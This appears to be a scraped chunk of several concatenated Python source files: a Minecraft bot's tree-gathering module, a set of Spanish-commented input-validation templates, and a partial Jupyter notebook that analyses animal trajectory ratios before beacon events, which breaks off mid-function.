main()\n","repo_name":"nahumj/autograder","sub_path":"submit_mimir_to_moss.py","file_name":"submit_mimir_to_moss.py","file_ext":"py","file_size_in_byte":2066,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"70013882162","text":"#\n# Gathering Functionality for the bot\n#\n\nfrom inventory import *\nfrom botlib import *\nfrom workarea import *\n\nclass BoundingBox:\n\n # Computes the bounding block of a set of connected blocks\n # For example, give it part of a tree trunk, get back the bounding box of all of the tree's wood\n\n def __init__(self, pybot, block):\n self.pybot = pybot\n b_type = block.displayName\n x_max = block.position.x\n x_min = block.position.x\n y_max = block.position.y\n y_min = block.position.y\n z_max = block.position.z\n z_min = block.position.z\n \n found = True\n\n while found:\n found = False\n for x in range(x_min-1, x_max+2):\n for y in range(y_min-1, y_max+2):\n for z in range(z_min-1, z_max+2):\n b = pybot.blockAt(x,y,z)\n if b.displayName == b_type:\n if x_min <=x and x_max >= x and y_min <= y and y_max >= y and z_min <= z and z_max >= z:\n continue\n x_min = x if x < x_min else x_min\n x_max = x if x > x_max else x_max\n y_min = y if y < y_min else y_min\n y_max = y if y > y_max else y_max\n z_min = z if z < z_min else z_min\n z_max = z if z > z_max else z_max\n found = True\n self.pybot.pdebug(f' bounding box: {x_min}:{x_max} {y_min}:{y_max} {z_min}:{z_max}',4)\n self.x_min = x_min\n self.x_max = x_max\n self.y_min = y_min\n self.y_max = y_max\n self.z_min = z_min\n self.z_max = z_max\n\n def dx(self):\n return self.x_max-self.x_min+1\n\n def dy(self):\n return self.y_max-self.y_min+1\n\n def dz(self):\n return self.z_max-self.z_min+1\n\n\n\nclass GatherBot:\n\n chopEquipList = {\n \"Stone Axe\":5,\n \"Spruce Log\":0,\n \"Spruce Sapling\":0,\n \"Stick\":0,\n }\n\n def __init__(self):\n print('gather ', end='')\n\n def chopBlock(self,x,y,z):\n v = Vec3(x,y,z)\n b = self.bot.blockAt(v)\n\n if b.displayName != \"Air\":\n self.pdebug(f' chop ({x},{y},{z}) {b.displayName}',3)\n self.bot.dig(b)\n if self.bot.blockAt(v).displayName == \"Air\":\n return 1\n else:\n return 0\n return 1\n\n def chop(self,x,y,z,height):\n self.wieldItem(\"Stone Axe\")\n for h in range(0,height):\n self.chopBlock(x,y+h,z)\n\n def chopBigTree(self):\n self.pdebug(f'Looking for tree block...',3)\n self.refreshActivity([' ❓ searching: giant spruce'])\n b0 = self.findClosestBlock(\"Spruce Log\",xz_radius=25,y_radius=1)\n if self.stopActivity:\n return False\n if not b0:\n self.perror('Cant find any tree to chop down nearby')\n return False\n self.pdebug(f' found at {b0.position.x},{b0.position.z}',3)\n box = BoundingBox(self,b0)\n\n if box.dx() != 2 or box.dz() != 2 or box.dy() < 5:\n self.perror(f'Tree has wrong dimensions {box.dx()} x {box.dy()} x {box.dz()}')\n return False\n \n self.refreshActivity([f'🌲 Tree at {b0.position.x},{b0.position.z}',f' height: {box.dy()}'])\n self.pdebug(f'Found big tree of height {box.dy()}',2)\n\n self.walkToBlock(box.x_min-1, box.y_min, box.z_min-1)\n\n x0 = box.x_min\n y = box.y_min\n z0 = box.z_min\n\n self.walkToBlock(x0-1, y, z0-1)\n self.chop(x0-1, y, z0-1, 3)\n self.walkToBlock(x0-1, y, z0-1)\n\n while True:\n self.chop(x0,y+1, z0,3)\n self.walkOnBlock(x0,y,z0)\n self.refreshActivity([f'🌲 Tree at {b0.position.x},{b0.position.z}',f' height: {box.dy()}',f' y: {y-box.y_min}',' ⬆️ heading up'])\n time.sleep(0.5)\n self.chop(x0+1,y+2, z0,3)\n self.walkOnBlock(x0+1,y+1,z0)\n self.refreshActivity([f'🌲 Tree at {b0.position.x},{b0.position.z}',f' height: {box.dy()}',f' y: {y-box.y_min+1}',' ⬆️ heading up'])\n time.sleep(0.5)\n self.chop(x0+1,y+3, z0+1,3)\n self.walkOnBlock(x0+1,y+2,z0+1)\n self.refreshActivity([f'🌲 Tree at {b0.position.x},{b0.position.z}',f' height: {box.dy()}',f' y: {y-box.y_min+2}',' ⬆️ heading up'])\n time.sleep(0.5)\n self.chop(x0,y+4, z0+1,3)\n self.walkOnBlock(x0,y+3,z0+1)\n self.refreshActivity([f'🌲 Tree at {b0.position.x},{b0.position.z}',f' height: {box.dy()}',f' y: {y-box.y_min+3}',' ⬆️ heading up'])\n time.sleep(0.5)\n if y+8 >= box.y_max:\n break\n else:\n y = y + 4\n\n self.pdebug(f'At the top, chopping down',2)\n\n self.eatFood()\n\n y = box.y_max\n\n while y >= box.y_min:\n self.chop(x0, y, z0, 1)\n self.chop(x0+1,y, z0, 1)\n self.chop(x0+1,y, z0+1, 1)\n self.chop(x0, y, z0+1, 1)\n y = y - 1\n self.refreshActivity([f'🌲 Tree at {b0.position.x},{b0.position.z}',f' height: {box.dy()}',f' y: {y-box.y_min}',' ⬇️ heading down'])\n self.healToFull()\n\n return True\n\n def chopWood(self):\n\n area = workArea(self,1,1,1,notorch=True)\n if area.valid: \n while not self.stopActivity: \n area.restock(self.chopEquipList)\n if not self.chopBigTree():\n break\n self.refreshActivity(['Restocking'])\n area.restock(self.chopEquipList)\n self.endActivity()\n return True\n","repo_name":"appenz/minebot","sub_path":"gather.py","file_name":"gather.py","file_ext":"py","file_size_in_byte":5805,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"75"} +{"seq_id":"3943531109","text":"# ---------------- Función validador de vacío ----------------\n# Cuando sea llamado validará si posee algo, sino preguntará de vuelta por este mismo con el codigo del \"else\"\ndef validador_vacio(p_algo):\n while True:\n if p_algo:\n print('Todo nice')\n return p_algo\n else:\n print('Campo vacío, intente ingresar algo')\n p_algo = input('Ingrese algo => ')\n\nalgo = input(\"==> \") # Esta linea habrá de estar dentro del codigo principal\nalgo = validador_vacio(algo) # Forma de llamar a la función\n\n# Comentario: no es necesario ocupar el validador de vacío con un \"int\", puesto que el solo ingresar un valor vacío lanzará error.\n# Se recomienda para el caso anterior tener siempre un \"try/except ValueError\" para prevenir de que el sistema se caiga\n\n# ---------------- Función validador con impresión de valores ----------------\n# Dentro de lista con algún tipo de ID (identificador único) numerico\n\nlista = [] # Se recomienda dejar al principio del codigo\ndef validadorListaID(validador):\n contador = 0 # Se recomienda dejar al principio del codigo\n if not lista:\n print(\"Su lista se encuentra vacía, intentelo nuevamente\")\n else:\n for i in lista:\n if i[0] == validador:\n for c in i:\n print(c, end = \" \")\n break # Rompe con el ciclo del \"for\"\n else:\n contador =+ 1\n if contador == len(lista):\n print(\"Todo mal\")\n\nvalidador = int(input(\"==> \")) # Esta linea habrá de estar dentro del codigo principal\n# En caso de querer validar con un tipo de validador string, sacar \"int\" del input que le damos a la variable validador que entregamos dentro de la función\nvalidadorListaID(validador) # Forma de llamar a la función\n\n# ---------------- Función validador con impresión de valores ----------------\n# Busca validar que el primer caracter de un string sea mayuscula\n\n# ---------------- Plantilla de menú ----------------\n# Reemplazar los print con el codigo que desee\n\n# Idealmente \"opcion = 0\" habría de ir al inicio del codigo como una declaración de variable\nopcion = 0\n# La idea es que mientras la opcion no sea igual al numero de salida (en este caso 5), no saldrá del ciclo\n# El \"opcion != 5:\" puede ser reemplazado con un \"True\", dejando un break en la opcion de salida\nwhile opcion != 5:\n opcion = int(input(\"\"\"Por favor ingrese la opción que desee:\n1.- primeraOpcion\n2.- segundaOpcion\n3.- terceraOpcion\n4.- cuartaOpcion\n5.- Salir\n\n==> \"\"\"))\n if opcion == 1:\n print(\"a\")\n elif opcion == 2:\n print(\"b\")\n elif opcion == 3:\n print(\"c\")\n elif opcion == 4:\n print(\"d\")\n elif opcion == 5:\n print(\"Muchas gracias por preferirnos!\")\n else:\n print(\"Valor ingresado incorrecto, intentelo nuevamente\")\n\n# ---------------- Un while True para validación de inputs numericos ----------------\n# Simplemente busca validar que el dato ingresado se corresponda con el tipo numerico\n\nwhile True:\n try:\n numero = int(input(\"==> \")) # De querer validar un decimal, cambiar \"int\" por \"float\"\n break\n except ValueError:\n print(\"Tipo de valor ingresado incorrecto, intentelo nuevamente\")\n\n# ---------------- Un while True para fechas ----------------\n# Plantilla para preguntar por fechas de forma sencilla de comprender\n\ntry:\n while True:\n anio = int(input(\"Ingrese el año ==> \"))\n if anio > 2050 or anio < 2000:\n print(\"Año ingresada incorrecta, intentalo nuevamente\")\n else:\n break\n while True:\n mes = int(input(\"Ingrese el mes ==> \"))\n if mes > 12:\n print(\"Año ingresada incorrecta, intentalo nuevamente\")\n else:\n break\n while True:\n dia = int(input(\"Ingrese el día ==> \"))\n if dia > 31:\n print(\"Año ingresada incorrecta, intentalo nuevamente\")\n else:\n break\nexcept ValueError:\n print(\"Tipo de valor ingresado incorrecto, intentelo nuevamente\")\nfecha = str(dia) + \"-\" + str(mes) + \"-\" + str(anio)\n\n# ---------------- Un while True para validación de numeros dentro de rangos ----------------\n# Simplemente busca validar que el dato ingresado se corresponda con el tipo numerico\n\nwhile True:\n try:\n numero = int(input(\"==> \")) # De querer validar un decimal, cambiar \"int\" por \"float\"\n except ValueError:\n print(\"Tipo de valor ingresado incorrecto, intentelo nuevamente\")\n\n if numero < 1 and numero > 40:\n print(\"Valor ingresado fuera de rango, intentelo nuevamente\") # Caso negativo\n else:\n break # Caso positivo\n\n# ---------------- Un while True para validación de strings ----------------\n# Un validador de strings de acuerdo a lo que se nos solicite validar\n# Esto se hace con un \".upper()\" en el input, lo que guardará lo ingresado en mayuscula\n# En caso de querer guardar tal cual como ingresa el usuario, colocar \".upper()\" en \n# todas las variables que se coloquen en la validación del \"if\"\n\nwhile True:\n palabra = input(\"==> \").upper() # El \".upper()\" hará de que todo lo ingresado por el usuario automáticamente se coloque en mayuscula\n if palabra == \"XD\" or palabra == \"LOL\" or palabra == \"UWU\": # Llamada a la variable para validación con strings. En caso de tener más formas de validar, añadir más strings siguiendo el mismo patrón\n print(\"Valores validados correctamente\")\n break\n else:\n print(\"Valores ingresados incorrectos, intentelo nuevamente\")","repo_name":"claudio-cordova-estrada/plantillas","sub_path":"plantillas.py","file_name":"plantillas.py","file_ext":"py","file_size_in_byte":5569,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"27819836762","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Notebook for calculating the resultant lenght or MRL of beacon \n\n# 1. import functions\n# 2. Create combined 3D vector (XYZ, #beacons, time-secodns before beacon) \n# 3. Create and plot resultant lenght \n# 4. Combine resultant lenghts into one array for division (short,long)\n# 5. Plot ratios as a histogram \n# 6. Combine into a function \n# 7. Calculate histogram over sessions\n# 8. Make into function \n# 9. Compute Sham ( bootstrap like) comparison \n# 10. Plot histograms with sham medians on top of original data \n# 11. Compute sliding median and mean window - over time - plot differences with sham \n# 12. Bar plot \n\n# In[3]:\n\n\nimport math\nimport pandas as pd \nimport matplotlib.pyplot as plt \nimport numpy as np\nimport seaborn as sns\nimport matplotlib.lines as mlines\nimport matplotlib.patches as mpatches\nfrom numpy import median\nfrom scipy.stats import ranksums\n\nroot = 'C:/Users/Fabian/Desktop/Analysis/Multiple_trial_analysis/Data/Raw/'\nfigures = 'C:/Users/Fabian/Desktop/Analysis/Multiple_trial_analysis/Figures/'\n\n\n# ## 1. Import functions from previous notebooks - \n# Giving trajectories before beacon can be improved to have the whole trajectory before beacon to the time when another beacon is reached - which will result in uneven lenghts and can make that as list of arrays, but numpy is not made for that. \n\n# In[4]:\n\n\nfrom Data_analysis import *\n\n\n# In[5]:\n\n\nDay86_fs2 = pd.read_csv(root+'position 20200128-160013.txt',sep=\" \", header=None)\nDay86_fs1 = pd.read_csv(root+'position 20200128-151826.txt',sep=\" \", header=None)\n\nbeacon_Day86_fs2 = pd.read_csv(root+'beacons 20200128-160013.txt',sep=\" \", header=None)\nbeacon_Day86_fs1 = pd.read_csv(root+'beacons 20200128-151826.txt',sep=\" \", header=None)\n\nbeacon_data = beacon_Day86_fs1\nposition_data = Day86_fs1\n\ndist=[]\nnorm_x,norm_y,norm_time = position_before_beacon_trigger_beacon(5,beacon_data,position_data)\nfor i in np.arange(len(norm_x)):\n plt.plot(norm_x[i],norm_y[i])\n #dist.append(calculate_Distance(norm_x[i],norm_y[i])) - cannot be indexed into ... \n \n\n\n# ## 2. create combined vector lenght from trajectory, can make it normalized if needed. \n# \n\n# #### A. Convert everything to Numpy - previously as a padnas dataframe - no need untill dedling with non-numbers \n\n# In[6]:\n\n\nbeacon_d = beacon_data.to_numpy()\npos_data = position_data.to_numpy()\nbeacon_d[:, 0] -= pos_data[0][0]\npos_data[:, 0] -= pos_data[0][0]\n\n\n# #### B. Get index where beacon was reached. \n\n# In[7]:\n\n\ndef get_index_at_pos(beacon_data, position_data):\n indexes = []\n for beacon_t in beacon_data[:, 0]:\n indexes.append( np.abs(beacon_t - position_data[:, 0]).argmin() )\n \n return indexes\n\n\n# #### C. Seperate function to create arrays of positions before beacon reached. - this gives different size of position data hence it cannot be an array, but a lits of arrays. \n\n# In[8]:\n\n\ndef get_positions_before(seconds_back, idxs, position_data):\n \"\"\"create arrays of positions before beacon reached\"\"\"\n beacon_periods = []\n for beacon_idx in idxs:\n beacon_t = position_data[beacon_idx][0]\n beacon_t_before = beacon_t - seconds_back\n before_idx = np.abs(beacon_t_before - position_data[:, 0]).argmin()\n beacon_periods.append(position_data[before_idx:beacon_idx])\n \n return beacon_periods\n\n\n# In[9]:\n\n\nidxs = get_index_at_pos(beacon_d, pos_data)\nperiods = get_positions_before(3.5, idxs, pos_data)\nprint(np.array(periods).shape)\nprint(periods[1].shape)\nprint(periods[10].shape)\nbeacon_travel=periods\n\n\n# ### Looking at time if it is the correct array... now corrected\n\n# In[10]:\n\n\nprint(beacon_travel[0][209][0])\ndiff=[]\nfor i in range (209):\n diff.append(beacon_travel[1][i][0]-beacon_travel[1][i+1][0])\n \n(sum(diff)) # so it is giving 5 seconds worth of trajectory? \nbeacon_travel[0][:,1]\n\n\n# ### Sanity check - checkt trajectories and how they look in real - if using indexes it is a bit longer... \n\n# In[11]:\n\n\nseconds_back = 3\nindex, enum = get_index(beacon_data, position_data)\nplt.plot((position_data[1][index[1]-(seconds_back*100):index[1]]),(position_data[3][index[1]-(seconds_back*100):index[1]]))\nplt.plot(beacon_travel[1][:,1],beacon_travel[1][:,3]) # plotting trajectory of the second beacon...\n\n\n# In[12]:\n\n\nbeacon_travel[1][:,1]\n\n\n# ## 3. create lenght of trajectory form start to end - i.e straight line \n\n# In[13]:\n\n\nstraights=[]\nlongs=[]\nfor beacon in range(len(beacon_travel)):\n longs.append(calculate_Distance(beacon_travel[beacon][:,1],beacon_travel[beacon][:,3]))\n straights.append(math.sqrt((beacon_travel[beacon][0,1] - beacon_travel[beacon][-1,1]) ** 2 + (beacon_travel[beacon][0,3] - beacon_travel[beacon][-1,3]) ** 2))\nprint(longs)\nprint(straights)\n\n\n# In[14]:\n\n\nbeacon = 4\nplt.plot(beacon_travel[beacon][:,1],beacon_travel[beacon][:,3])\nplt.plot((beacon_travel[beacon][0,1] ,beacon_travel[beacon][-1,1]) ,(beacon_travel[beacon][0,3] , beacon_travel[beacon][-1,3]))\n \n\n\n# ### Sanity check: plotting the resultant lenght! - only first 16 in this case\n\n# In[15]:\n\n\nfig,ax = plt.subplots(4,4,figsize=(20,20),dpi=200)\nnum=0\nh=0\nfor beacon in range(16): \n s=(math.sqrt((beacon_travel[beacon][0,1] - beacon_travel[beacon][-1,1]) ** 2 + (beacon_travel[beacon][0,3] - beacon_travel[beacon][-1,3]) ** 2))\n \n l=calculate_Distance(beacon_travel[beacon][:,1],beacon_travel[beacon][:,3])\n \n ax[h][num].plot(beacon_travel[beacon][:,1],beacon_travel[beacon][:,3])\n ax[h][num].plot((beacon_travel[beacon][0,1] ,beacon_travel[beacon][-1,1]) ,(beacon_travel[beacon][0,3] , beacon_travel[beacon][-1,3]))\n \n \n distl = mlines.Line2D([], [], marker='_',markersize=5,markerfacecolor=\"blue\",\n markeredgecolor=\"blue\",linewidth = 0, label='Distance long %.2f m' %l)\n dists = mlines.Line2D([], [], marker='_',markersize=5,markerfacecolor=\"orange\",\n markeredgecolor=\"orange\",linewidth = 0, label='Distance short %.2f m' %s)\n diff = mlines.Line2D([], [], marker=\" \",linewidth = 0, label='Ratio = %.2f ' %(s/l))\n \n \n ax[h][num].legend(handles=[distl,dists,diff],loc='best',prop={'size': 6})\n \n l=0\n s=0\n h+=1\n if h % 4==0:\n num += 1\n h=0\nplt.savefig('%s16_trajectories_2_sec._before_beacons_.png' %(figures), dpi = 100) \nplt.show()\n\n\n# ## 4. combine the two arrays into one - 0th column lenght of trajectory, 1st column lenght of straight line \n\n# In[16]:\n\n\nresultant= (np.asarray(longs),np.asarray(straights))\nnp.asarray(resultant).shape\n\n\n# In[17]:\n\n\ndef ratios (list1,list2):\n resultant= (np.asarray(list1),np.asarray(list2))\n div = []\n for i in range(len(resultant[1])):\n div.append(resultant[1][i]/resultant[0][i])\n return np.asarray(div)\ndiv = ratios(longs,straights)\n\n\n# ## 5. Plot as a into a histogram,\n\n# In[20]:\n\n\ndiv=np.asarray(div)\nplt.hist(div[::2])\nplt.hist(div[1::2])\nnp.mean(div[::2])\nplt.axvline(div[::2].mean(), color='blue', linestyle='dashed', linewidth=1)\nplt.axvline(div[1::2].mean(), color='orange', linestyle='dashed', linewidth=1)\nprint(div[0::2].mean())\nprint(div[1::2].mean())\n\n\n# ## 6.Make a function out of it\n\n# #### This function takes beaconn and position and graphs the percentage of lenght of trajecotries for a visible and invisible beacon - FOR INDIVIDUAL SESSIONS\n# \n# \n\n# In[150]:\n\n\nDay86_fs2 = pd.read_csv(root+'position 20200128-160013.txt',sep=\" \", header=None)\nDay86_fs1 = pd.read_csv(root+'position 20200128-151826.txt',sep=\" \", header=None)\n\nbeacon_Day86_fs2 = pd.read_csv(root+'beacons 20200128-160013.txt',sep=\" \", header=None)\nbeacon_Day86_fs1 = pd.read_csv(root+'beacons 20200128-151826.txt',sep=\" \", header=None)\n\nbeacon_data = beacon_Day86_fs1\nposition_data = Day86_fs1\n\ndef resultant_lenght_vis_invis(position_data, beacon_data,seconds_back,name):\n \"\"\"This function takes beaconn and position and graphs the percentage of lenght of trajecotries for a visible and invisible beacon - FOR INDIVIDUAL SESSIONS\"\"\"\n beacon_d = beacon_data.to_numpy()\n pos_data = position_data.to_numpy()\n beacon_d[:, 0] -= pos_data[0][0]\n pos_data[:, 0] -= pos_data[0][0]\n \n idxs = get_index_at_pos(beacon_d, pos_data)\n beacon_travel = get_positions_before(seconds_back, idxs,pos_data)\n straights=[]\n longs=[]\n for beacon in range(len(beacon_travel)):\n longs.append(calculate_Distance(beacon_travel[beacon][:,1],beacon_travel[beacon][:,3]))\n straights.append(math.sqrt((beacon_travel[beacon][0,1] - beacon_travel[beacon][-1,1]) ** 2 + (beacon_travel[beacon][0,3] - beacon_travel[beacon][-1,3]) ** 2))\n div = ratios(longs,straights)\n\n plt.hist(div[::2],alpha=.5,color='cyan', edgecolor='blue',label='visible')\n plt.hist(div[1::2],alpha=.5,color='gold', edgecolor='y', label='invisible')\n blue_line = mlines.Line2D([], [], color='blue', marker='_',\n markersize=15, label='Blue stars')\n plt.legend()\n np.mean(div[::2])\n plt.axvline(div[::2].mean(), color='blue', linestyle='dashed', linewidth=1)\n plt.axvline(div[1::2].mean(), color='orange', linestyle='dashed', linewidth=1)\n plt.axvline(np.median(div[::2]), color='blue', linestyle='solid', linewidth=1)\n plt.axvline(np.median(div[1::2]), color='orange', linestyle='solid', linewidth=1)\n #plt.axvline(np.std(div[::2]), color='blue', linestyle='dashdot', linewidth=1)\n #plt.axvline(np.std(div[1::2]), color='orange', linestyle='dashdot', linewidth=1)\n print(div[0::2].mean())\n print(div[1::2].mean())\n plt.title('resultant lenght ratios of %s visible and invisible %s sec'%(name,seconds_back))\n plt.savefig('%sresultant_lenght_ratios_%s_visible_invisible_%s.png' %(figures,seconds_back,name ), dpi = 100) \n\n \nresultant_lenght_vis_invis(position_data,beacon_data,3,'Day_86_fs_1')\n\n\n# In[151]:\n\n\nresultant_lenght_vis_invis(Day86_fs2 ,beacon_Day86_fs2,3,'Day86_fs2')\n\n\n# In[152]:\n\n\nresultant_lenght_vis_invis(Day87_fs2 ,beacon_Day87_fs2,3,'Day87_fs2')\n\n\n# In[153]:\n\n\nresultant_lenght_vis_invis(Day88_fs2 ,beacon_Day88_fs2,3,'Day88_fs2')\n\n\n# In[154]:\n\n\nresultant_lenght_vis_invis(Day88_fs1 ,beacon_Day88_fs1,3,'Day88_fs1')\n\n\n# ## 7. Calculate histogram over all sessions \n\n# In[155]:\n\n\nbeacons = [beacon_Day86_fs1,beacon_Day87_fs1,beacon_Day88_fs1,beacon_Day89_fs1,beacon_Day90_fs1,beacon_Day91_fs1,beacon_Day92_fs1,beacon_Day93_fs1]\nbeacons2 = [beacon_Day86_fs2,beacon_Day87_fs2,beacon_Day88_fs2,beacon_Day89_fs2,beacon_Day90_fs2,beacon_Day91_fs2,beacon_Day92_fs2,beacon_Day93_fs2]\nlist_of_days = [Day86_fs1,Day87_fs1,Day88_fs1,Day89_fs1,Day90_fs1,Day91_fs1,Day92_fs1,Day93_fs1]\nlist_of_days2 = [Day86_fs2,Day87_fs2,Day88_fs2,Day89_fs2,Day90_fs2,Day91_fs2,Day92_fs2,Day93_fs2]\nDay_list = list_of_days+list_of_days2\nBeacon_list = beacons+beacons2\nlen(list_of_days)== len(beacons) \n\n\n# In[157]:\n\n\ndef resultant_lenght_vis_invis_all (list_of_days,beacon,seconds_back):\n div = []\n for index,(position,beaconz) in enumerate(zip (Day_list,Beacon_list)): \n beacon_d = beaconz.to_numpy()\n pos_data = position.to_numpy()\n beacon_d[:, 0] -= pos_data[0][0]\n pos_data[:, 0] -= pos_data[0][0]\n idxs = get_index_at_pos(beacon_d, pos_data)\n beacon_travel = get_positions_before(seconds_back, idxs ,pos_data) \n straights=[]\n longs=[]\n for beacon in range(len(beacon_travel)):\n longs.append(calculate_Distance(beacon_travel[beacon][:,1],beacon_travel[beacon][:,3]))\n straights.append(math.sqrt((beacon_travel[beacon][0,1] - beacon_travel[beacon][-1,1]) ** 2 + (beacon_travel[beacon][0,3] - beacon_travel[beacon][-1,3]) ** 2))\n div.append(np.asarray((ratios(longs,straights))))\n return(np.asarray(div))\n\nlarge_div = resultant_lenght_vis_invis_all(Day_list, Beacon_list,4)\n\n\n# In[158]:\n\n\nlarge_div[1]\n\n\n# In[159]:\n\n\ndef histogram_ratio_all (list_of_days,beacon,seconds_back):\n\n large_div = resultant_lenght_vis_invis_all (list_of_days,beacon,seconds_back)\n\n\n large_mean_vis=[]\n large_median_vis=[]\n large_mean_invis=[]\n large_median_invis=[]\n\n for div in range(len(large_div)):\n\n #within group stats - not pooled \n large_mean_vis.append(large_div[div][::2].mean())\n large_mean_invis.append(large_div[div][1::2].mean())\n large_median_vis.append(np.median(large_div[div][::2]))\n large_median_invis.append(np.median(large_div[div][1::2]))\n vis = [item for sublist in large_div for item in sublist[::2]] #cool list feature - flatening lists\n invis = [item for sublist in large_div for item in sublist[1::2]]\n print(ranksums(vis, invis))\n plt.hist(vis,alpha=.5,color='g', edgecolor='seagreen',label='visible')\n plt.hist(invis,alpha=.5,color='lightgrey', edgecolor='silver',label='invisible')\n plt.axvline((np.mean(np.asarray(large_mean_vis))-np.std(vis)), color='blue', linestyle='dashdot', linewidth=1,label='std_vis')\n plt.axvline((np.mean(np.asarray(large_mean_invis))-np.std(invis)), color='orange', linestyle='dashdot', linewidth=1,label='std_vis')\n\n \n\n plt.axvline(np.mean(np.asarray(large_mean_vis)), color='g', linestyle='dashed', linewidth=1,label='mean_vis')\n plt.axvline(np.mean(np.asarray(large_mean_invis)), color='black', linestyle='dashed', linewidth=1,label='mean_invis')\n plt.axvline(np.median(np.asarray(large_median_vis)), color='g', linestyle='solid', linewidth=1,label='median_vis')\n plt.axvline(np.median(np.asarray(large_median_invis)), color='black', linestyle='solid', linewidth=1,label='median_invis')\n plt.xlabel(\"ratio short/long \")\n plt.legend()\n print (seconds_back)\n plt.title('resultant lenght ratios of visible and invisible Group %s sec'% seconds_back)\n plt.savefig('%sresultant_lenght_ratios_%s_visible_invisible_all.png' %(figures,seconds_back), dpi = 200) \n plt.show()\nhistogram_ratio_all (Day_list, Beacon_list , 4 )\n\n\n# In[160]:\n\n\nhistogram_ratio_all (Day_list, Beacon_list,3)\n\n\n# In[161]:\n\n\nhistogram_ratio_all (Day_list, Beacon_list,2)\n\n\n# In[162]:\n\n\nhistogram_ratio_all (Day_list, Beacon_list,1)\n\n\n# In[163]:\n\n\nhistogram_ratio_all (Day_list, Beacon_list,5)\n\n\n# In[164]:\n\n\nhistogram_ratio_all (Day_list, Beacon_list,6)\n\n\n# In[165]:\n\n\nhistogram_ratio_all (Day_list, Beacon_list,3.5)\n\n\n# In[276]:\n\n\ndef scatter_ratio_all (list_of_days,beacon,seconds_back):\n\n large_div = resultant_lenght_vis_invis_all (list_of_days,beacon,seconds_back)\n\n\n large_mean_vis=[]\n large_median_vis=[]\n large_mean_invis=[]\n large_median_invis=[]\n\n for div in range(len(large_div)):\n\n #within group stats - not pooled \n large_mean_vis.append(large_div[div][::2].mean())\n large_mean_invis.append(large_div[div][1::2].mean())\n large_median_vis.append(np.median(large_div[div][::2]))\n large_median_invis.append(np.median(large_div[div][1::2]))\n vis = [item for sublist in large_div for item in sublist[::2]] #cool list feature - flatening lists\n invis = [item for sublist in large_div for item in sublist[1::2]]\n #plt.hist(vis,alpha=.5,color='g', edgecolor='seagreen',label='visible')\n #plt.hist(invis,alpha=.5,color='lightgrey', edgecolor='silver',label='invisible')\n\n print(len(vis),len(invis),)\n plt.scatter(vis[:189],invis[:189],marker=\"+\")\n print(ranksums(vis, invis))\n\n plt.xlabel('visible ratio')\n plt.ylabel('invisible ratio')\n\n plt.axvline(np.mean(np.asarray(large_mean_vis)), color='g', linestyle='dashed', linewidth=1,label='mean_vis')\n plt.axhline(np.mean(np.asarray(large_mean_invis)), color='black', linestyle='dashed', linewidth=1,label='mean_invis')\n plt.axvline(np.median(np.asarray(large_median_vis)), color='g', linestyle='solid', linewidth=1,label='median_vis')\n plt.axhline(np.median(np.asarray(large_median_invis)), color='black', linestyle='solid', linewidth=1,label='median_invis')\n print (seconds_back)\n plt.legend()\n plt.title('resultant lenght ratios of visible and invisible Group %s sec'% seconds_back)\n plt.savefig('%sresultant_lenght_ratios_scatter_%s_visible_invisible_all.png' %(figures,seconds_back), dpi = 200) \n plt.show()\nscatter_ratio_all (Day_list, Beacon_list , 2 )\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# ## 8. Sham calculations \n# \n# 1. Create random numbers based on the lenght of the recordign and the amount of beacons. \n# 2. Use the indexes to index into the data, \n# 3. Generate the histograms and resultant lenght for that data. \n# \n# \n\n# In[170]:\n\n\nimport random as rn\n\n\n# In[32]:\n\n\nDay86_fs2 = pd.read_csv(root+'position 20200128-160013.txt',sep=\" \", header=None)\nDay86_fs1 = pd.read_csv(root+'position 20200128-151826.txt',sep=\" \", header=None)\n\nbeacon_Day86_fs2 = pd.read_csv(root+'beacons 20200128-160013.txt',sep=\" \", header=None)\nbeacon_Day86_fs1 = pd.read_csv(root+'beacons 20200128-151826.txt',sep=\" \", header=None)\n\nbeacon_data = beacon_Day86_fs1\nposition_data = Day86_fs1\n\nprint(len(beacon_data))\nprint(len(position_data))\n\nrn.randrange(0, len(position_data),len(beacon_data))\nmy_randoms = rn.sample(range(1, len(position_data)), len(beacon_data))\n\nprint(len(my_randoms))\nprint(max(my_randoms))\n\n\n# ### Perhaps need to sort the random numbers... \n# \n\n# In[227]:\n\n\nindexes = get_index_at_pos(beacon_d, pos_data)\ndef get_positions_before_sham(seconds_back, idxs, position_data):\n \"\"\"create arrays of positions before beacon reached\"\"\"\n beacon_periods = []\n randoms = rn.sample(range(1, len(position_data)), len(idxs))\n randoms.sort()\n for beacon_idx in randoms:\n beacon_t = position_data[beacon_idx][0]\n beacon_t_before = beacon_t - seconds_back\n before_idx = np.abs(beacon_t_before - position_data[:, 0]).argmin()\n beacon_periods.append(position_data[before_idx:beacon_idx])\n \n return beacon_periods\n\n\nl =get_positions_before_sham(2.2,indexes,pos_data)\nl[10][10,0]\n\n\n# In[228]:\n\n\ndef resultant_lenght_vis_invis_all_sham (list_of_days,beacon,seconds_back):\n div = []\n for index,(position,beaconz) in enumerate(zip (Day_list,Beacon_list)): \n beacon_d = beaconz.to_numpy()\n pos_data = position.to_numpy()\n beacon_d[:, 0] -= pos_data[0][0]\n pos_data[:, 0] -= pos_data[0][0]\n idxs = get_index_at_pos(beacon_d, pos_data)\n beacon_travel = get_positions_before_sham(seconds_back, idxs ,pos_data) \n straights=[]\n longs=[]\n for beacon in range(len(beacon_travel)):\n longs.append(calculate_Distance(beacon_travel[beacon][:,1],beacon_travel[beacon][:,3]))\n straights.append(math.sqrt((beacon_travel[beacon][0,1] - beacon_travel[beacon][-1,1]) ** 2 + (beacon_travel[beacon][0,3] - beacon_travel[beacon][-1,3]) ** 2))\n div.append(np.asarray((ratios(longs,straights))))\n return(np.asarray(div))\n\nlarge_div_sham = resultant_lenght_vis_invis_all_sham(Day_list, Beacon_list,4)\n\n\n# In[230]:\n\n\ndef histogram_ratio_all_sham (list_of_days,beacon,seconds_back):\n\n large_div_sham = resultant_lenght_vis_invis_all_sham (list_of_days,beacon,seconds_back)\n\n\n large_mean_vis=[]\n large_median_vis=[]\n large_mean_invis=[]\n large_median_invis=[]\n\n for div in range(len(large_div)):\n\n #within group stats - not pooled \n 